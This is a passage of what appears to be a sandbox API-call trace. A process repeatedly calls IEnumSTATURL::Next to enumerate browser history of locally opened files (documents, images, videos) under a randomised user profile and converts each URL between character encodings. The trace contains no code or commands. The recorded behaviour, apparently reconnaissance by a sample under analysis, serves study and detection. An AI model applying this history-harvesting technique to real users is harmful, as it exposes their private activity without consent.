rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.081] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/jNZkgQds.doc", cchWideChar=67, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/jNZkgQds.docts/_Lw_Ioi_qC44f0vdNG/jNZkgQds.doc", lpUsedDefaultChar=0x0) returned 67 [0163.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=67, lpWideCharStr=0x1e7e13cc, cchWideChar=135 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/jNZkgQds.doc⁲열A열A⮨") returned 67 [0163.081] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.081] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/WFGgNi.xls", cchWideChar=52, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/WFGgNi.xlsETAdzjz/AppData/Roaming/WFGgNi.xls", lpUsedDefaultChar=0x0) returned 52 [0163.081] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026708, cbMultiByte=52, lpWideCharStr=0x1e7e1458, cchWideChar=105 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/WFGgNi.xls捵潴열A열A⬸") returned 52 [0163.081] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.082] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/L6-4mLEDrB0YMOdwi.docx", cchWideChar=90, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/L6-4mLEDrB0YMOdwi.docxFhzBCrd4x8i/L6-4mLEDrB0YMOdwi.docx", lpUsedDefaultChar=0x0) returned 90 [0163.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e14d0, cbMultiByte=90, lpWideCharStr=0x1e7e1530, cchWideChar=181 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/L6-4mLEDrB0YMOdwi.docx❧") returned 90 [0163.082] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.082] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/1ZQSpJr_Xko.gif", cchWideChar=69, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/1ZQSpJr_Xko.gif1NAJeYEI5Zgd1vhacr/1ZQSpJr_Xko.gif", lpUsedDefaultChar=0x0) returned 69 [0163.082] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0267bc, cbMultiByte=69, lpWideCharStr=0x1e7e174c, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/1ZQSpJr_Xko.gif") returned 69 [0163.082] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/2mCf1zBzcFI3mh.rtf", cchWideChar=71, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/2mCf1zBzcFI3mh.rtfc9z_vVr1Uxdn12a/2mCf1zBzcFI3mh.rtf", lpUsedDefaultChar=0x0) returned 71 [0163.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e1948, cbMultiByte=71, lpWideCharStr=0x1e7e1994, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/2mCf1zBzcFI3mh.rtf열A열A◘") returned 71 [0163.083] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/imR3uKJ.xlsx", cchWideChar=48, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/imR3uKJ.xlsxrs/aETAdzjz/Documents/imR3uKJ.xlsx", lpUsedDefaultChar=0x0) returned 48 [0163.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=48, lpWideCharStr=0x1e7e14c8, cchWideChar=97 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/imR3uKJ.xlsxh") returned 48 [0163.083] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.083] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/a0tKkgNP.png", cchWideChar=61, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/a0tKkgNP.pngictures/l-sb6rmCiYZQh/a0tKkgNP.png", lpUsedDefaultChar=0x0) returned 61 [0163.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=61, lpWideCharStr=0x1e7e1b94, cchWideChar=123 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/a0tKkgNP.png獮열A열A⏬") returned 61 [0163.083] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/fZXEHMzSM.flv", cchWideChar=88, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/fZXEHMzSM.flvHuh/fzxXCIUPgHEcfCS_/fZXEHMzSM.flv", lpUsedDefaultChar=0x0) returned 88 [0163.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e1d8c, cbMultiByte=88, lpWideCharStr=0x1f0257a8, cchWideChar=177 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/fZXEHMzSM.flv¸") returned 88 [0163.084] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/mXe%20_oND.mkv", cchWideChar=84, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/mXe%20_oND.mkv6gYBHuh/4EaIklzk8ov/mXe%20_oND.mkv", lpUsedDefaultChar=0x0) returned 84 [0163.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e1000, cbMultiByte=84, lpWideCharStr=0x1e7e1f60, cchWideChar=169 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/mXe%20_oND.mkv@") returned 84 [0163.084] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/rBUlhS6tiG2-RZAZ.pdf", cchWideChar=93, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/rBUlhS6tiG2-RZAZ.pdf0nw/3wiKno2U6/rBUlhS6tiG2-RZAZ.pdf", lpUsedDefaultChar=0x0) returned 93 [0163.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2190, cbMultiByte=93, lpWideCharStr=0x1f025fb8, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/rBUlhS6tiG2-RZAZ.pdf") returned 93 [0163.084] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.084] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/qBB62q6apMwF6YbxEq75.pps", cchWideChar=79, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/qBB62q6apMwF6YbxEq75.ppsC44f0vdNG/qBB62q6apMwF6YbxEq75.pps", lpUsedDefaultChar=0x0) returned 79 [0163.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2378, cbMultiByte=79, lpWideCharStr=0x1e7e23cc, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/qBB62q6apMwF6YbxEq75.pps茌열A열Aᮐ") returned 79 [0163.085] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.085] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/jNTqBzWYWpBb.pdf", cchWideChar=89, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/jNTqBzWYWpBb.pdfuhxF0nw/3wiKno2U6/jNTqBzWYWpBb.pdf", lpUsedDefaultChar=0x0) returned 89 [0163.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e25f8, cbMultiByte=89, lpWideCharStr=0x1fcf0fc4, cchWideChar=179 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/jNTqBzWYWpBb.pdf") returned 89 [0163.085] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.085] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/6JHWtYVA.docx", cchWideChar=49, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/6JHWtYVA.docxs/aETAdzjz/Documents/6JHWtYVA.docx", lpUsedDefaultChar=0x0) returned 49 [0163.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=49, lpWideCharStr=0x1e7e27dc, cchWideChar=99 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/6JHWtYVA.docx쳌열A열Aូ") returned 49 [0163.085] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/j4yeUT.pdf", cchWideChar=46, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/j4yeUT.pdfsers/aETAdzjz/Documents/j4yeUT.pdf", lpUsedDefaultChar=0x0) returned 46 [0163.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e284c, cbMultiByte=46, lpWideCharStr=0x1e7e0ff8, cchWideChar=93 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/j4yeUT.pdfd") returned 46 [0163.086] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/qnFbtO.pps", cchWideChar=46, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/qnFbtO.ppssers/aETAdzjz/Documents/qnFbtO.pps", lpUsedDefaultChar=0x0) returned 46 [0163.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2888, cbMultiByte=46, lpWideCharStr=0x1e7e28bc, cchWideChar=93 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/qnFbtO.ppsԠᦓ열A열Aᛠ") returned 46 [0163.086] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/h7DVpNm6QA.png", cchWideChar=56, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/h7DVpNm6QA.pngzjz/AppData/Roaming/h7DVpNm6QA.png", lpUsedDefaultChar=0x0) returned 56 [0163.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=56, lpWideCharStr=0x1e7e2844, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/h7DVpNm6QA.pngx") returned 56 [0163.086] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.086] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/W-kcXu5CcKIsxTy7TgP.mkv", cchWideChar=93, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/W-kcXu5CcKIsxTy7TgP.mkvEaIklzk8ov/W-kcXu5CcKIsxTy7TgP.mkv", lpUsedDefaultChar=0x0) returned 93 [0163.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2928, cbMultiByte=93, lpWideCharStr=0x1fcf11a4, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/W-kcXu5CcKIsxTy7TgP.mkv") returned 93 [0163.087] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.087] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/Ho1x.bmp", cchWideChar=97, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/Ho1x.bmpx3ETy9kM/CBxMNcpz16Eol3zD/Ho1x.bmp", lpUsedDefaultChar=0x0) returned 97 [0163.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2b2c, cbMultiByte=97, lpWideCharStr=0x1e7e2b94, cchWideChar=195 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/Ho1x.bmp䜻열A열AᎤ") returned 97 [0163.087] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.087] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/eKISp%202KBC.png", cchWideChar=122, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/eKISp%202KBC.pngp", lpUsedDefaultChar=0x0) returned 122 [0163.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2e00, cbMultiByte=122, lpWideCharStr=0x1fcf2168, cchWideChar=245 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/eKISp%202KBC.pngü") returned 122 [0163.087] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.087] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/FeDQmW2i.flv", cchWideChar=54, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/FeDQmW2i.flvAdzjz/AppData/Roaming/FeDQmW2i.flv", lpUsedDefaultChar=0x0) returned 54 [0163.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026708, cbMultiByte=54, lpWideCharStr=0x1f025b5c, cchWideChar=109 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/FeDQmW2i.flv地ἂ\x1c῏\x1c῏P") returned 54 [0163.088] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.088] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/JXr2KDlDlkUQoqqJhJo.bmp", cchWideChar=77, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/JXr2KDlDlkUQoqqJhJo.bmp5Zgd1vhacr/JXr2KDlDlkUQoqqJhJo.bmp", lpUsedDefaultChar=0x0) returned 77 [0163.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf129c, cbMultiByte=77, lpWideCharStr=0x1fcf1474, cchWideChar=155 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/JXr2KDlDlkUQoqqJhJo.bmpἂᔐ῏ᔐ῏,") returned 77 [0163.088] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.088] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/vDQD.bmp", cchWideChar=50, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/vDQD.bmp/aETAdzjz/AppData/Roaming/vDQD.bmp", lpUsedDefaultChar=0x0) returned 50 [0163.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=50, lpWideCharStr=0x1fcf1294, cchWideChar=101 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/vDQD.bmp᷼῏ተṾተṾX") returned 50 [0163.088] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.088] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/-B8VZiXAJgeyuxM1J9Dr.docx", cchWideChar=80, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/-B8VZiXAJgeyuxM1J9Dr.docxODNbm6Rg/-B8VZiXAJgeyuxM1J9Dr.docx", lpUsedDefaultChar=0x0) returned 80 [0163.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1580, cbMultiByte=80, lpWideCharStr=0x1fcf1678, cchWideChar=161 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/-B8VZiXAJgeyuxM1J9Dr.docx扸ἂᔐ῏ᔐ῏,") returned 80 [0163.088] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.089] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/kcfdhSsvuo0DcvY.csv", cchWideChar=92, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/kcfdhSsvuo0DcvY.csvF0nw/3wiKno2U6/kcfdhSsvuo0DcvY.csv", lpUsedDefaultChar=0x0) returned 92 [0163.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf15e0, cbMultiByte=92, lpWideCharStr=0x1fcf1784, cchWideChar=185 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/kcfdhSsvuo0DcvY.csv昐ἂᡀ῏ᡀ῏\x18") returned 92 [0163.089] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.089] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/YSaF.pptx", cchWideChar=45, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/YSaF.pptxUsers/aETAdzjz/Documents/YSaF.pptx", lpUsedDefaultChar=0x0) returned 45 [0163.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=45, lpWideCharStr=0x1fcf1578, cchWideChar=91 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/YSaF.pptx") returned 45 [0163.089] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.089] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, 